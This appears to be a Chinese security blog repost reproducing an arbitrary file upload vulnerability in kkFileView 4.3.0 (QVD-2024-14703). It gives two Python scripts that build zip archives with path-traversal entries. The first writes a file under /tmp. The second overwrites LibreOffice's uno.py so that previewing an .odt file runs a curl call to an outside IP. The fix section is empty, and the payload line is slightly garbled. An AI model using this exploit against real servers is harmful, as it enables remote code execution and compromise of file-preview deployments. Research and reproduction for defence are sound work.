kkFileView 4.3.0
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'test'
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
zipFile.close()
except IOError as e:
raise e
执行py生成压缩包,将压缩包上传。
点击预览
文件写入成功
命令执行
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'import osrnos.system('curl http://192.168.20.131:9999/123123')'
zipFile = zipfile.ZipFile("test2.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test2.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
注:uno.py路径需结合目标服务器的路径更改。
再上传一个.odt后缀的文件
点击预览执行命令
在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以在该py文件添加内容。
0X03 修复建议
0X04
原文始发于微信公众号(皓月的笔记本):【漏洞复现】kkFileView任意文件上传漏洞(QVD-2024-14703)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论